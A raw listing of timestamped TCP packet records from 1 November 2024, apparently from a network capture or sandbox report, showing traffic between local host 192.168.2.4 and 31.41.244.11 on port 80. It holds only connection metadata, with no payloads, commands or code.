Nov 1, 2024 10:57:10.239372015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239382029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239388943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239392996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239398003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239404917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239414930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239427090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239432096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239439011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239455938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239476919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239492893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239502907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239512920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239533901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239552975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239567041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239576101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239583969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239593983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239603996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239619017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239650965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239675999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239685059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239697933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239706039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239715099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239722013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239725113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239736080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239751101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239779949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239803076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239842892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239872932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239882946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239892006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239901066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239909887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239918947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.239922047 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239948988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.239959002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240015030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240029097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240036964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240045071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240056038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240065098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240067959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240084887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240088940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240096092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240103006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240106106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240118027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240128994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240143061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240166903 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240183115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240205050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240214109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240222931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240232944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240251064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240259886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240271091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240302086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240314960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240864992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240885019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240895033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240906954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240928888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.240947962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240958929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240967035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.240998030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241008997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241152048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241168022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241177082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241199970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241216898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241255999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241266966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241275072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241281033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241301060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241317987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241348982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241358995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241367102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241375923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241388083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241405010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241429090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241450071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241465092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241501093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241528034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241538048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241547108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241558075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241569042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241583109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241592884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241600037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241604090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241604090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241604090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241611004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241631031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241650105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241676092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241700888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241708994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241715908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241748095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241796017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241806030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241844893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.241873026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241883993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.241915941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.242002964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242012978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242022038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242032051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242043018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242052078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.242058992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242059946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.242070913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242086887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242093086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.242101908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242111921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242114067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.242120981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242131948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242139101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.242142916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242156029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.242165089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.242172956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.242199898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.260904074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.260946989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.260951996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.260957003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.260987997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261003017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261027098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261037111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261044979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261054993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261065006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261073112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261099100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261123896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261133909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261142969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261168003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261178970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261223078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261233091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261240959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261250973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261274099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261295080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261296034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261306047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261315107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261323929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261336088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261364937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261368036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261379004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261388063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261396885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261401892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261409044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261425972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261445045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261455059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261460066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261483908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261492014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261495113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261518955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261528015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261528015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261545897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261559963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261625051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261635065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261643887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261652946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261662960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261666059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261673927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261693954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261718988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261734009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261740923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261745930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261766911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261779070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261786938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261790037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261801004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261821985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261852026 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261878967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261888981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261898994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261908054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261919022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.261920929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261954069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.261972904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262005091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262015104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262023926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262032986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262042999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262067080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262078047 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262089014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262099028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262119055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262130976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262140989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262151957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262156963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262167931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262171984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262176991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262192965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262217999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262223959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262233019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262270927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262270927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262300014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262309074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262319088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262341976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262350082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262355089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262362957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262389898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262404919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262434959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262444973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262453079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262463093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262475967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262504101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262531996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262541056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262567997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262587070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262602091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262640953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262651920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262660980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262701035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262706995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262717009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262725115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262732983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262747049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262764931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262793064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262804031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262811899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262830973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262852907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262861013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262864113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262895107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262926102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262936115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262944937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262953997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262963057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.262984037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262993097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.262993097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263025999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263051987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263052940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263062000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263071060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263093948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263122082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263318062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263345957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263358116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263360977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263385057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263394117 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263411999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263432980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263442039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263454914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263465881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263485909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263511896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263523102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263530970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263540983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263550043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263559103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263583899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263586998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263595104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263603926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263623953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263634920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263663054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263673067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263685942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263711929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263725042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263839006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263881922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263937950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263947010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263956070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263967037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263976097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263983011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.263986111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.263998032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.264008045 CET	80	49820	31.41.244.11	192.168.2.4
